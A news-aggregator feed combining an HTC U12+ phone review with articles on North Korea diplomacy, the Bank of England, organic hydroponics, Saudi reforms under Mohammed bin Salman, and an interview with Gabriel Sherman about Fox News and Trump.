There’s a number of possible actions you can assign to each gesture: launch the camera or any other app, play/pause music, summon Google’s Assistant or Amazon’s Alexa, take a screenshot or turn the flashlight on and off. Another option is to bring up the Edge Launcher, which is a little side-mounted dial of shortcuts to apps, contacts and settings that make the phone slightly easier to deal with one-handed. Beyond the stock list, you can create your own catalog of app-specific actions. Some apps have a prepared list available (squeeze to zoom in on Google Maps or take a picture in Instagram, for example), but you can also make a gesture correspond to a single or double tap anywhere on screen, in any app.

There’s a new smart rotation function that’s part of Edge Sense 2. If the phone recognizes you’re holding it, the screen won’t automatically change orientation if it shifts position. What this basically means is when you’re playing with your phone in bed, the display won’t twist unwantedly into landscape mode, so you can keep reading that article as if you were sitting upright. Furthermore, the phone will ignore the screen timeout setting and keep it lit no matter how inactive you are.

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The problem here is when you’re using your phone, you’re generally holding it. So if you do want the display to rotate, you have to make a concerted effort to release pressure on the sides and put your hands elsewhere. I don’t really see the point. Sure, the smart rotate feature doesn’t change the display orientation when you don’t want it to, but it also locks it in place when you do.

If Edge Sense 2 sounds a bit gimmicky, I wouldn’t entirely agree. Sure, I used it often to quick-boot the camera app when I was roaming around taking sample pictures for this review, but the concept is not particularly well-executed. For starters, the U12+ is a large phone, so squeezing its hard metal sides is, well, uncomfortable. I also find myself triggering actions unintentionally, making the feature occasionally more frustrating than helpful. Up until I disabled gesture detection when the screen is off, I also initiated actions every time I put the thing in my pocket. Long story short, it’s not as user-friendly as it might sound on paper.

For some ungodly reason, HTC also decided to make the volume and power keys pressure-sensitive knobs instead of physical buttons, with a quick buzz providing the haptic feedback that tells you you’ve pressed one. These are pretty awful. Sometimes you get no reaction out of them, despite pressing so hard your thumb hurts. Other times, you don’t even have to go near them and suddenly you’re locked out, or the music volume jumps up to earsplitting levels. It’s hard to exaggerate just how frustrating this can be on a day-to-day basis.

HTC actually sent me a replacement review unit because of all the problems I was having with pressure sensitivity. The first device was from the very first manufacturing batch, I’m told, and it’s taken the production line time to settle in. This second phone is marginally more predictable, but the same random events continue to arise. The company is well aware of issues with pressure sensitivity, and has promised a software update shortly after launch to improve functionality. But the fact there’s inconsistencies between the two review units leads me to believe the hardware behind these features is just fundamentally flawed.

Camera

HTC pioneered the use of dual camera arrays to manipulate depth of field back in 2014 with the One (M8). Almost as soon as other manufacturers began to follow suit, though, the company abandoned the feature it popularized. But dual cameras make a comeback on the U12+, and what’s more, you now get two on the front and the back (because four lenses is the new thing, apparently).

Using a similar setup to HTC’s mid-range U11 Eyes, the U12+ has two eight-megapixel sensors up front, which let you control background blur (aka bokeh) in your selfies. But this feature softens the foreground, too, smoothing out facial blemishes much like a beautification mode would. Several phones with single front-facing cameras that use software to add depth of field, like the Huawei Mate 10 Pro and Google Pixel 2, produce better, more natural results. The same can be said of Instagram’s Focus feature, which works on all devices, as well as the iPhone X, which uses an infrared depth sensor to help generate realistic bokeh.

What’s more, if you ignore the bokeh mode on the U12+ and just snap a regular selfie, the photo comes out paler, lacking appropriate color saturation. Even with Snapchat-esque AR filters and various beautification modes to play with, this phone probably won’t impress selfie addicts.

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The main camera arrangement comprises one 16-megapixel telephoto and one 12-megapixel wide-angle lens. These allow you to take close-ups and adjust the background blur behind a subject, both before you take the snap and after. There’s little difference between the U12+ and other dual-camera phones in that respect: The feature does exactly what you expect it to. Occasionally, the bokeh can look artificial compared to the natural effect you get with a proper SLR and decent lens, but that’s common to other handsets with dual cameras.

That’s just one facet of the camera experience, of course, and there’s a reason the imaging nerds at DxOMark rate the U12+ as the second-best cameraphone behind the Huawei P20 Pro. General performance is excellent. You get bags of detail in every shot, with accurate color saturation, white balance and contrast. It’s very good in low light, too, with a remarkable lack of noise in challenging conditions. I’d only caveat that by mentioning the U12+ ups the brightness of low-light photos considerably — note I’m not saying it over-exposes images here — meaning your picture isn’t true to life.

OLYMPUS DIGITAL CAMERA

Beyond general camera performance, you get a lot of tools to play around with. These include up to 2x optical zoom, so you don’t lose resolution before that point, and up to 10x digital zoom, a pro mode with full manual controls and RAW output, a time-lapse mode and 240 fps slow-mo video at 1080p. The U12+ also shoots 4K video at 60 fps with the option of hi-res, directional and 3D audio recorded by the phone’s four microphones. As you’d expect, clips are nice and sharp but do come out a little on the noisy side in low-light situations. Overall, the U12+ has one of the most versatile camera setups around.

Performance and battery life

As you’d expect, the U12+ ships with Android 8.0 Oreo, but lathered on top of that is HTC’s Sense UI. Some of the software modifications are relatively run-of-the-mill, like the Themes app for personalizing just about everything graphical and the Zoe video editor, which makes audiovisual slideshows from your gallery. Others are more elaborate, like Blinkfeed, the HTC Sense Companion and everything that powers Edge Sense.

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Blinkfeed is one of HTC’s veteran additions, having been part of Sense UI for five years now. It sits in your homescreen carousel and mixes together a custom timeline from sources that include Facebook, Twitter, YouTube, your calendar and the preinstalled News Republic and health-tracking Under Armour Record apps. Oh, and ads. It’s there if you want it, but I don’t really mainline social media or care much for what’s trending on YouTube, so it’s of no use to me, personally.

HTC Sense Companion, not to be confused with an AI assistant like Google’s or Amazon’s Alexa (both of which live on the device out of the box), learns your movement/usage habits and supposedly makes handy recommendations based on that. Checking the traffic and reminding you when you need to leave for work, for instance, or warning you of bad weather. I haven’t spent nearly enough time with the phone to make a call on whether this is useful or not (alas, I don’t get out much), but my gut tells me it might just be another notification you don’t want to read. That wouldn’t be out of the ordinary, though. Google’s Assistant can be guilty of clogging up your notification drawer with unwanted suggestions at times, too.

OLYMPUS DIGITAL CAMERA

As far as the surviving Android manufacturer skins go, Sense UI is one of the heavier ones. Luckily, the U12+ is a beast thanks to an octa-core Qualcomm Snapdragon 845 and 6GB of RAM roaring away inside. I’ve written this same spiel a few different ways before, but the fact remains that as far as processors go, the Snapdragon 845 sits at the top of the pile right now. Any phone running this chip is the fastest, slickest way to experience Android for the time being. All the extra weight of Sense UI does have an impact on responsiveness and load times, though. Only a few milliseconds difference here and there, mind, so nothing that ruins the user experience. It is perceptible when you’ve spent a fair amount of time using other Snapdragon 845 handsets with cleaner, nigh-stock Android builds, though.

That said, I’ve played a shameful amount of PUBG Mobile at the highest graphics settings on the U12+ without any issues. I didn’t get the smoothest frame rate playing Asphalt 8: Airborne online on max graphics, but you can always drop the display resolution to FHD+ in device settings to get the best performance possible. It’s well-suited to gaming, actually, with the big high-res display, BoomSound speakers and all.

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There isn’t a great deal to say about battery life other than it’s neither outstanding nor abnormal. Like the vast majority of smartphones in its class, the U12+ gives you about a waking day of regular but spotty use before begging to be plugged in. Naturally, more screen time and intensive tasks like gaming will up the number of times you have to visit a wall socket that day.

Playing a looping video at 50 percent screen brightness, the U12+ went from a full charge to dead in just under 13 hours. That’s 2 hours less than last year’s U11, and take the result with a pinch of salt anyway, because it’s not nearly as efficient as the rundown test would suggest when you’re using the phone normally.

OLYMPUS DIGITAL CAMERA

The U12+ charges pretty nippily, though. Using the supplied Quick Charge 3.0 cable, I recorded a top up from 15 percent to 57 percent in 30 minutes, finishing the hour on 85 percent.

The competition

The HTC U12+ ships later this month and is currently available to pre-order in the US for $ 799 for the 64GB model and $ 849 for the 128GB configuration. In the UK, only the 64GB is on offer — for £699. Those numbers aren’t extortionate as far as flagship smartphones go, but it’s a bloodbath out there at the moment.

You’ve got the Galaxy S9 and S9+ to contend with, starting at $ 720 and $ 840. Then there’s the somewhat charming, $ 800 Xperia XZ2, or the soon-to-be-released, notch-embracing $ 750 LG G7 ThinQ. All of these devices sport similar specs and price points, but the real gladiator right now is the OnePlus 6, which is an outstanding phone that starts at the ridiculous price of $ 529. It’s a bit of a no-brainer — unfortunately so for HTC.

Engadget

Wrap-Up

There’s no doubt HTC’s U12+ does several things well. The big screen, BoomSound speakers and USonic earbuds make it very media and gaming friendly. The camera is excellent, and it’s got the latest-and-greatest mobile chip, so performance is impeccable. However, it may be a little on the bulky side for some, and the Edge Sense features are hardly game changing. There are so many smartphones in the same league as the U12+ currently, including a new home run by OnePlus, it doesn’t stand out from the crowd in any meaningful way.

You can basically ignore all of the above, though, because the HTC U12+ has one glaring flaw. The pressure-sensitive power and volume keys are consistently a cause of frustration, and something I simply couldn’t deal with on a day-to-day basis. HTC got the simplest of things so very wrong.

]]> https://briefnews.eu/htc-u12-review-fundamentally-flawed/feed/ 0 Modern diplomacy on North Korea may be fundamentally wrong — but history points to a better way https://briefnews.eu/modern-diplomacy-on-north-korea-may-be-fundamentally-wrong-but-history-points-to-a-better-way/ https://briefnews.eu/modern-diplomacy-on-north-korea-may-be-fundamentally-wrong-but-history-points-to-a-better-way/#respond Thu, 07 Jun 2018 10:07:33 +0000 http://briefnews.eu/modern-diplomacy-on-north-korea-may-be-fundamentally-wrong-but-history-points-to-a-better-way/ mike pompeo kim jong unTwitter/White House

  • International diplomacy between nuclear nations doesn’t rate as an easy task for even the most seasoned statesmen, but for some reason they still talk about it like training a horse with carrots and sticks.
  • In diplomacy, carrots are benefits you can offer a country and sticks are punishments. 
  • A Harvard researcher blows apart this way of thinking by offering an alternative: Build physical infrastructure in North Korea that implies a path to peace and normal relations, rather than cutting a check or rescinding a threat.

International diplomacy between nuclear nations, like the US and North Korea, doesn’t rate as an easy task for even the most seasoned statesmen, but for some reason it’s commonly discussed in horse racing terms — carrots and sticks.

In diplomatic negotiations, a nation will offer another nation a carrot, or some kind of benefit, while threatening a stick, some kind of mobilization of leverage.

See the rest of the story at Business Insider

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SEE ALSO: Kim Jong Un is reportedly extremely afraid of assassination around the Trump summit — and he’s right to be

]]> https://briefnews.eu/modern-diplomacy-on-north-korea-may-be-fundamentally-wrong-but-history-points-to-a-better-way/feed/ 0 2 reasons why the market is fundamentally misjudging the Bank of England’s next step https://briefnews.eu/2-reasons-why-the-market-is-fundamentally-misjudging-the-bank-of-englands-next-step/ https://briefnews.eu/2-reasons-why-the-market-is-fundamentally-misjudging-the-bank-of-englands-next-step/#respond Mon, 26 Mar 2018 07:33:00 +0000 http://briefnews.eu/2-reasons-why-the-market-is-fundamentally-misjudging-the-bank-of-englands-next-step/ bank of england mark carneyREUTERS/Peter Macdiarmid

  • The Bank of England hinted that it is set to hike interest rates in May, but there are signs it could change its mind.
  • A rate hike in May is, in the words of bond market guru Mohamed El-Erian “far from a done deal.”
  • The wording of the committee’s statement is far less explicit than that in the Bank of England’s statement in September last year, the meeting prior to its November rate hike.
  • This suggests some reticence to hike on the bank’s part.
  • The make up of the vote of bank’s Monetary Policy Committee also raises concerns.

LONDON — As expected, the Bank of England left interest rates on hold on Thursday, but signalled — in the eyes of most commentators and many in the markets — that a rate hike at the next meeting of its MPC is all but guaranteed.

After hiking rates for the first time since the financial crisis last November,  the bank spent much of the rest of the year signalling that it will likely raise rates further in 2018. 

See the rest of the story at Business Insider

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SEE ALSO: The Bank of England is making a fundamental misjudgment about the British economy

]]> https://briefnews.eu/2-reasons-why-the-market-is-fundamentally-misjudging-the-bank-of-englands-next-step/feed/ 0 John Oliver says Meghan Markle should watch Netflix’s ‘The Crown’ before she marries into an ’emotionally stunted group of fundamentally flawed people doing a very silly pseudo-job’ https://briefnews.eu/john-oliver-says-meghan-markle-should-watch-netflixs-the-crown-before-she-marries-into-an-emotionally-stunted-group-of-fundamentally-flawed-people-doing-a-very-silly-pseudo-job/ https://briefnews.eu/john-oliver-says-meghan-markle-should-watch-netflixs-the-crown-before-she-marries-into-an-emotionally-stunted-group-of-fundamentally-flawed-people-doing-a-very-silly-pseudo-job/#respond Thu, 08 Feb 2018 17:21:45 +0000 http://briefnews.eu/john-oliver-says-meghan-markle-should-watch-netflixs-the-crown-before-she-marries-into-an-emotionally-stunted-group-of-fundamentally-flawed-people-doing-a-very-silly-pseudo-job/ netflix the crownNetflix

  • On “The Late Show,” comedian John Oliver told host Stephen Colbert that he wouldn’t be surprised if Meghan Markle backed out of her wedding to Prince Harry at the last minute.
  • Oliver suggested that she watch Netflix’s “The Crown” to get an idea of what her life will be like in the British royal family.
  • Oliver hopes Markle likes it, because it’s “going to be weird.”

 

John Oliver has a suggestion for American actress Meghan Markle, who is just a few months away from marrying into British royalty.

See the rest of the story at Business Insider

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]]> https://briefnews.eu/john-oliver-says-meghan-markle-should-watch-netflixs-the-crown-before-she-marries-into-an-emotionally-stunted-group-of-fundamentally-flawed-people-doing-a-very-silly-pseudo-job/feed/ 0 A growing battle in the $47 billion organic food industry could fundamentally change the program — and some farmers are worried https://briefnews.eu/a-growing-battle-in-the-47-billion-organic-food-industry-could-fundamentally-change-the-program-and-some-farmers-are-worried/ https://briefnews.eu/a-growing-battle-in-the-47-billion-organic-food-industry-could-fundamentally-change-the-program-and-some-farmers-are-worried/#respond Fri, 03 Nov 2017 15:42:33 +0000 http://briefnews.eu/a-growing-battle-in-the-47-billion-organic-food-industry-could-fundamentally-change-the-program-and-some-farmers-are-worried/ hydroponic

  • The National Organic Standards Board, an advisory committee to the US Department of Agriculture, voted to allow some crops grown hydroponically and aquaponically to have organic labels.
  • Organic food sales totaled $ 47 billion in the US in 2016.
  • Some traditional organic farmers are threatening to leave the NOSB, the program they helped create, over the controversial vote.

The United States organic industry — whose 2016 sales totaled around $ 47 billion — is facing a battle between traditional farmers and high-tech producers.

In recent years, hydroponic, aquaponic, and aeroponic farms — which grow produce in nutrient-rich solution without soil, often indoors — have boomed. Some of these businesses have been granted the organic label for their products. 

But that trend has dismayed some traditional farmers, who argue that allowing non-soil producers to label their food organic weakens the integrity of the program. True organic farming, they say, requires nurturing, natural soil. 

But in a series of close votes on Wednesday night, the National Organic Standards Board (NOSB), an advisory committee to the US Department of Agriculture (USDA), voted to allow the majority of these high-tech operators to stay in the National Organic Program. The decision creates an organics standard for non-soil farming, which did not exist previously.

Dave Chapman, a longtime organic tomato farmer in Vermont, is not happy with the decision, which he calls a “tragic failure.”

“The National Organic Program has failed at the very thing it was created to do: creating trust and transparency between organic farmers and eaters,” he told Business Insider in a statement. “After a publicized series of failures in defending organic integrity, the Organic Program’s Advisory Board decision to embrace hydroponic production as the ‘new organic’ is the final straw.” 

Chapman said he is considering leaving the program. He and other critics of the board’s decision say that hydroponic farming does not meet the USDA’s definition of organic due to its lack of soil.

Organic traditionalists point to the ideas of Albert Howard, an English botanist who inspired the organic farming movement. In 1940, Howard wrote that “the health of soil, plant, animal and man is one and indivisible.”

plenty vertical farmPlentyLisa Stokke, cofounder of farmer advocacy group Food Democracy Now said in a statement that the USDA’s definition “reflects the beliefs of the international organic movement.”

“To suggest calling hydroponic ‘organic’ is to completely misunderstand the meaning of organic,” she addd.

But hydroponig growers argue that they’re growing what consumers expect from the organic label: crops produced without synthetic pesticides.

Plenty, a California-based hydroponic farming company, gained organic certification earlier this year. Matt Barnard, the company’s CEO, told Business Insider that he was pleased with the NOSB’s vote.

“We are growing fresh fruits and vegetables that are as organic as any other method,” he said. “People have spent 35 years understanding what ‘organic’ is, which is a long time. We, as a business, did not feel it would’ve been fair or equitable to cause a just-as-organic farming operation to have to explain to people something as convoluted as ‘Oh, it’s just as organic as … but not organic.’ That would’ve cost us an amount of money and years that we don’t have the budget for.”

organic protestsAP Images

The NOSB issued its recommendation in four parts. It voted to allow hydroponic systems, which grow plants in water-based nutrients, as well as aquaponics, which combine hydroponic systems with fish farms, to remain in the Organics Program. 

The committee chose not to tighten its rules on container growing, a type of hydroponic agriculture that grows crops in a solution made of water, nutrients, and organic matter. Several large organic berry growers, including Driscoll’s and Wholesum Harvest, have implemented container growing.

But aeroponic farming — which grows plants suspended in the air with exposed roots — will be kicked out.

Overall, the decision may signal a new direction for the organic industry, since it will include farmers who don’t produce crops in fields.

But some pioneers of the sustainable farming movement believe the vote could splinter the organics industry.

“At the very time that we most need the leadership of the organic community, the corporations have completed a hostile takeover of the National Organic Program,” Chapman said. “We will have to start again.”

NOW WATCH: A nutritionist explains which foods you should buy organically

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]]> https://briefnews.eu/a-growing-battle-in-the-47-billion-organic-food-industry-could-fundamentally-change-the-program-and-some-farmers-are-worried/feed/ 0 Ultra-conservatism takes backseat? How Saudi Crown Prince could ‘fundamentally change’ kingdom https://briefnews.eu/ultra-conservatism-takes-backseat-how-saudi-crown-prince-could-fundamentally-change-kingdom/ https://briefnews.eu/ultra-conservatism-takes-backseat-how-saudi-crown-prince-could-fundamentally-change-kingdom/#respond Sun, 29 Oct 2017 20:14:22 +0000 http://briefnews.eu/ultra-conservatism-takes-backseat-how-saudi-crown-prince-could-fundamentally-change-kingdom/ Saudi Arabia recently announced it wants to go back to “moderate Islam,” and even became the first country to grant citizenship to a humanoid robot. RT looks at how ultra-conservatism is seemingly taking a backseat under a new Crown Prince.

Mohammed bin Salman, often referred to as MbS, was officially appointed the heir of the Saudi throne in June. However, his political influence began long before the appointment as he is considered the main and most trusted adviser to his father, King Salman.

He also held a number of key positions previously, including defense minister and chief of the Royal Court. The Crown Prince is said to be behind the latest internal reforms in Saudi Arabia, some representing almost a U-turn compared to the previous decades, shaped by the strict version of Sunni Islam in the country.   

“Because of his father’s retreat from the public stage, MbS has become the de-facto decision-maker in the Kingdom of late,” Assistant Professor of Political Science at Bluefield State College and expert on Gulf affairs Colin S. Cavell told RT. The political analyst believes that the young prince triggered domestic reforms that “if fully implemented, would fundamentally change the nature of the Saudi regime.”

Restrictions on ill-famed religious police

The country, like some other Muslim states, has a body to enforce and secure the strict interpretation of Islamic law – the so-called ‘religious police.’ Formally known as the Commission for the Promotion of Virtue and Prevention of Vice (or the Mutaween force), it has been making headlines with some controversial cases.

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© Reuters

In February, several of its members allegedly assaulted a woman outside a shopping mall in Riyadh and were subsequently arrested. In 2013, two religious officers were also detained after their patrol car crashed into another vehicle during a chase which left two people dead.

In 2016, the authorities stripped the body of powers to arrest, interrogate, chase and follow people, urging the force to “kindly and gently” enforce Islamic rules. The Mutaween officers are now to display clear identification showing their names, posts, jurisdictions, and official working hours. Though bin Salman was not a Crown Prince at that time, Cavell is sure that it was exactly the new heir who “placed restrictions on the country’s notorious religious police.”

As the implementation of the measure has recently marked its one-year anniversary, Saudis took to social media to celebrate the event. Some of them said that this period proved that the force was not needed as nothing happened with their absence, according to Arab News, citing Saudi-based netizens.

Women allowed to drive. What’s next?

The kingdom is renowned for gender inequality and numerous restrictions on women. The ‘guardians,’ – represented by a husband, father, brother, or son – decide whether a woman can receive an education or take a job, undergo particular medical manipulations, get married, divorce, or even travel.

Things have recently changed, however, with Riyadh issuing a decree ordering that women be allowed to drive. The ruling is expected to come into force early next year. Here, again, Cavell told RT that in his view, King Salman issued the order after being “persuaded” by the Crown Prince.

READ MORE: ‘Much work yet to be done’: Twitter reacts with caution to Saudi move to let women drive

The reform is a “major thing, because they [women] were forbidden to drive for years,” according to J. Michael Springmann, who served in the US government as a diplomat with the State Department’s Foreign Service.

Another breakthrough brought in the right for women to attend national day celebrations alongside their male counterparts. “A practice that was previously unheard of and explicitly forbidden,” Gulf affairs expert Cavell told RT. The change, however, will need some time to settle in the minds of the people in the kingdom before “any semblance of equality between the sexes is realized.”

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© Güler Kömürcü

Earlier this year, women were also permitted to get state services without their ‘guardians’ permission, according to a royal decree.

The news on the latest changes prompted even more ambitious reform expectations. This time going as far as to put the plug on the formal ban of movie theaters in Saudi Arabia. In a potentially spearheading move, the conservative state held a movie festival in the capital, Riyadh last week. Both men and women were allowed to attend, yet the visitors were segregated by gender.

Even though most Saudis have TV sets, allowing movie theaters is unprecedented, according to Springmann. The analyst recalled that dancing and other entertainment gatherings were much concealed when he was younger, and people had to attend the event under high secrecy. The reforms of the entertainment sphere have been also part of the Vision 2030 plan, introduced by the Crown Prince.

“He [Crown Prince of Saudi Arabia Mohammed bin Salman] has proposed Vision 2030, which is a reworking of the Saudi economy and restructuring of the government,” Springmann said. He added that the plan was aimed at reducing Riyadh’s dependence on oil and “trying to diversify the economy and develop the public service sector, including tourism and entertainment.”

Vision 2030 allows the creation of “professionally organized amateur clubs’ to expand culture and entertainment options in the Kingdom by 2020,” according to Dr. Courtney Freer of LSE’s Middle East Center, which specializes on the analysis of the Middle East and North Africa.

READ MORE: Merkel meets Saudi King without hijab, talks business, not women’s rights

“This goal seems surprisingly cosmopolitan in a state as historically closed as Saudi Arabia,” Freer wrote. Mohammad bin Salman also set up the Entertainment Authority, which even organized a Comic Con festival in February. The event was supposed to be segregated by gender, but men and women “ended up mixing, with a few of them even dancing (an activity that Wahhabi ulama prohibit), in the same hall.”

Returning to ‘moderate Islam’ & going hi-tech

In late October, the Crown Prince made headlines as he promised to return Riyadh to “moderate Islam that is open to all religions and to the world.” He also stated that the country’s young generation is not going to “waste 30 years of our life combating extremist thoughts,” and promised their immediate destruction.

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Saudi Arabia’s King Salman bin Abdulaziz Al Saud © Reuters

At the same time, the ambitious heir of the Saudi king toldthe Guardian it “is the time to get rid” of the heritage of the Iranian revolution as “what happened in the last 30 years is not Saudi Arabia.”

Just days before the announcement, King Salman ordered to set up a special complex in Medina where elite scholars will gather to examine uses of the “hadith” – the words and actions of Mohammad, as recounted by others, the second Islamic text after the Koran. The King Salman Complex is designed to “eliminate fake and extremist texts and any texts that contradict the teachings of Islam and justify the committing of crimes, murders and terrorist acts.”

This week, Saudi Arabia has become the first state in the world to officially become a home country for a robot – and what’s more, a female robot. Citizenship to the machine named Sophia the Humanoid, designed to look like Audrey Hepburn, has been granted.

“This is historical to be the first robot in the world to be recognized with a citizenship,” Sophia, who was originally created for a Hong Kong company, commented.

Reforms met with mixed feelings

The reforms are popular among the young, who are seeing “their dreams come true” and that the prince “is leading the nation to the modern age,” according to Springmann. At the same time, there is opposition among some clerics and those who strongly support Wahhabism (an ultra-conservative branch of Islam widespread in Saudi Arabia).

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FILE PHOTO: Members of Magic Movement stage a mock execution scene in protest of Saudi Arabia beheading of eight Bangladeshi workers.© Andrew Biraj / Reuters

The ensuing changes have “to be gradual,” according to Springmann. “I’m not saying there won’t be any change,” he added, pointing out that in the 1940s, the radio was treated as the “work of the devil,” but then such opposition dropped. On the other hand, the emerging developments may be subsequently curbed, analyst Colin S. Cavell believes.

READ MORE: Saudi woman arrested for going out without traditional Muslim clothing – reports

“The mainstream media in the West have lauded the reforms of the Saudi Crown Prince, though the US government is quite aware that it is highly unlikely that MbS’s reforms will ever be fully implemented,” he told RT.

What’s more, the reforms “in truth, are acts of desperation from a regime” which relies on “protection from both the USA and the UK.” London and Washington understand that the kingdom in its current form is doomed and are unwilling to lose “regional hegemonic control,” according to Cavell.

However, despite all the recent breakthroughs and changes, Saudi Arabia remains among the counties with strict adherence to ultra-conservative norms of Islam, and with some of the most severe punishments for breaking both religious and criminal laws. It is among the world’s top five executioners, with at least 154 death sentences carried out in 2016, according to Amnesty International.

Nearly 440 executions were carried out in under four years, international NGO Reprieve said in a 2017 report on Saudi Arabia. The country often sentences protesters and activists to death, and a large number of those executed are convicted of nonviolent crimes such as drug offenses, it said.

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]]> https://briefnews.eu/ultra-conservatism-takes-backseat-how-saudi-crown-prince-could-fundamentally-change-kingdom/feed/ 0 How the symbiotic relationship between Trump and Fox News has fundamentally changed American politics https://briefnews.eu/how-the-symbiotic-relationship-between-trump-and-fox-news-has-fundamentally-changed-american-politics/ https://briefnews.eu/how-the-symbiotic-relationship-between-trump-and-fox-news-has-fundamentally-changed-american-politics/#respond Sun, 29 Oct 2017 02:25:27 +0000 http://briefnews.eu/how-the-symbiotic-relationship-between-trump-and-fox-news-has-fundamentally-changed-american-politics/ Republican presidential candidate Donald Trump participates in a debate sponsored by Fox News at the Fox Theatre on March 3, 2016 in Detroit, Michigan.

  • Gabriel Sherman reported on Fox News’ former head Roger Ailes and his sexual misconduct.
  • Sherman believes Fox News has changed after Ailes and that current head Rupert Murdoch hates Donald Trump.
  • Gabriel Sherman says Fox News has an aging demographic and is clinging to Trump because its keeping their viewership strong.

 

On this week’s episode of my podcast, I Have to Ask, I spoke with Gabriel Sherman, a special correspondent for Vanity Fair. In a recent piece for the magazine, Sherman reported that people in the White House were concerned about President Trump’s mental health and wondered whether he was in a state of decline. He is also the author of The Loudest Voice in the Room, a biography of Roger Ailes. Sherman’s reporting on Ailes’ conduct helped lead to his downfall at Fox News for sexual misconduct.

Below is an edited transcript of the show. In it, we discuss whether Trump’s behavior is really getting worse, how Fox News has changed since Ailes’ departure, and why Rupert Murdoch secretly “loathes” the president.

You can find links to every episode here; the entire audio interview is below. Please subscribe to I Have to Ask wherever you get your podcasts.

Isaac Chotiner: We know each other a little bit, and I think the reason is because about five years ago we were probably the only two people in our extended social circle spending hours every day watching Fox News. You were watching Fox because you wrote a very informative book about Roger Ailes, and I was watching Fox because I’m a sad, pathetic person who wanted to make myself more depressed. And then we started text messaging and talking about Fox. What got you so obsessed with Ailes and writing about Fox News?

Gabriel Sherman: I’ve covered media and politics for the better part of my journalism career, and I had written a series of pieces for New York magazine about cable news. Reporting in that world, I realized that Roger Ailes, through the founding of Fox News, had just fundamentally rewired the way politics was practiced in America.

I looked and talked to my book agent and realized that there had not been a real rigorously reported and authoritative biography of Ailes. So I thought it was a great subject for my first book, and I naïvely didn’t really understand that the reason there had not been a book about Ailes is that he is—or was, now that he’s passed away—one of the most vindictive and paranoid people that have probably ever lived.

He did everything he could to thwart and attack and demean reporters who wrote about him, and I found myself for about three years in his crosshairs. He hired private investigators to dig into my past and commissioned right-wing websites to smear my reputation in not-so-veiled anti-Semitic ways.

But I think [my book explained] how Fox News worked from the inside and revealed it to be a real cult of personality that functioned as a megaphone for Ailes’ paranoid and really eccentric and bizarre worldview filled with Islamophobia, racism, and really extreme political viewpoints that a lot of people perhaps thought were just cynical ways to market a news network to an audience, but were in fact real expressions of his extremism.

Roger AilesJim Cooper/AP

Do you feel that you had some sort of insight into Trump early on because of this?

Without question. We should remember that Ailes gave Trump a weekly call-in segment on Fox & Friends, which is the id, the ideological core of Fox News. It’s where the talking points that Ailes wanted to inject into the bloodstream originated. Once a week, Trump would call in for unfettered, freewheeling discussion to put out his worldviews, and that’s where Trump really pushed a lot of the birther and racism ideas and the anti-immigration positions that became the bedrock of his candidacy.

You were saying that Ailes was not taken seriously as someone who actually had this frightening worldview, and I think aspects of Trump are made for TV. But I also think that one thing we’ve learned in the past two-plus years is that many of these views that he expresses are probably more honestly held by him than people assumed when he rode the escalator in Trump Tower in June 2015.

Without question. We all need to remind ourselves that Donald Trump has been a race-baiter pretty much for most of his adult life. In fact, going back to his early years, his father famously was tried by the Justice Department for housing discrimination in their middle-class housing developments in Brooklyn and Queens. Donald Trump in the 1980s took out a full-page ad after the notorious Central Park jogger case.

What is your sense of how Fox News has changed since Ailes left the network?

In some ways, it’s changed a lot. The culture of fear that he presided over with the PR department functioning like an internal security service—spying on employees, leaking damaging info to media about it, wayward employees—that’s mostly gone by the wayside.

The lockstep talking points that emanated out of his second-floor office have also subsided. The network does not function as a pure expression of one person’s worldview. What I see now is more of a business. And Rupert Murdoch, who privately loathes Donald Trump—I think it’s a little bit of a false narrative that’s been out there in the press that Murdoch and Trump have forged this bromance. I think this is purely a business decision.

You think actually “loathes”? That’s a strong word.

I know from my reporting that people who have been in private settings with Murdoch say that he makes dismissive comments of Trump and tells him to stop tweeting, which is something that Trump will be doing till his last dying breath. Yeah, this is not a close, personal relationship. This is, from my reporting, a business relationship, and Murdoch was smart enough to know that the audience Ailes had assembled are die-hard Trump voters, so it doesn’t make sense really to shift the network ideologically.

You say that Murdoch may loathe Trump, and it’s clear that his sons do not like Trump and do not like the ideas Trump is putting into the country.

We should point out that James Murdoch’s wife just recently tweeted comments about sexual assault and harassment being wrong on both sides, which people took to be a veiled swipe perhaps not only at Donald Trump but at Roger Ailes.

rupert murdochKevin Hagen/Getty

OK, but while I get that, and I get why the Murdochs are not going to turn Fox News into a left-wing or centrist network because it’s incredibly important part of the business, it does seem that they could do something about things like Fox & Friends, which is full of conspiracy theories and fake news and seems to influence Trump in a negative way. We often see him tweeting ridiculous things that he clearly has seen minutes before on Fox & Friends. I’m surprised that there’s been no effort by the Murdochs if this is how they feel to at least clean up some of the crazier stuff on Fox.

No, I agree. I don’t think you would perhaps dramatically lose their viewership if they dialed back the conspiracy theories by even 25 percent, but I think Rupert Murdoch’s philosophy since he replaced Ailes after Ailes was fired in July of 2016 has been to do no harm. Murdoch has, with a light touch, removed the internal fear and paranoia that presided over the network, but externally the programming on air has largely remained intact. I don’t think there is a necessarily compelling reason for that other than they know that Fox News is the profit center of 21st century, and they don’t want to mess with it.

You have these surreal moments where the Wall Street Journal editorial page—which Murdoch owns and which I think a lot of people see as being close to Murdoch’s actual views—will write something about Trump is doing this well, but he needs to stop tweeting crazy things, and then that morning, he will have tweeted something crazy that he saw on Fox.

It’s a hydra-headed beast. We should also mention Sean Hannity. I know you talked about Fox & Friends, but Hannity, who Trump just gave an hour sit-down interview with, is perhaps the most influential outside adviser to the Trump administration. I was talking to a very prominent Fox person recently who was telling me how often Hannity talks to Trump. Trump calls him almost every night after Hannity’s prime-time show just to give him feedback and bat around ideas and gripe about all the people who are sliding him. Between Fox & Friendsstarting the day and Hannity ending the day, the network is really book-ended by the most pro-Trump media. It’s something much closer to the way Putin’s media and Russia state-run media functions than it would be historically an American media institution.

One of the points of your book is that Ailes was a brilliant showman and made great hires, including people like Bill O’Reilly, who people may find distasteful but are incredible television personalities and talents. Now you see people like Tucker Carlson, who has failed at basically every TV show he’s ever had until now and who I do not think is a particularly skilled broadcaster. You see their 9 p.m. hour, which has been a mess, and they can’t quite figure out what to do with it, and they’re still getting great ratings. Ailes obviously was a television genius, but it also seems like we’re at this point with the right-wing audience in America—not to sound condescending—where you can put anything on the air and you will get extremely good ratings. It almost reminds me of the fact that the Republican president can do anything he wants and still have a 35 percent approval rating.

There is something to that. Ailes used to joke around the office that the Fox News audience was aged 55 to dead. And there is a kernel of truth to that joke. But the Fox News audience is really an actuarial game at this point. They get older ever year. I believe some of the statistics I saw were like 68-something years old for the [average] age of the Fox News viewers.

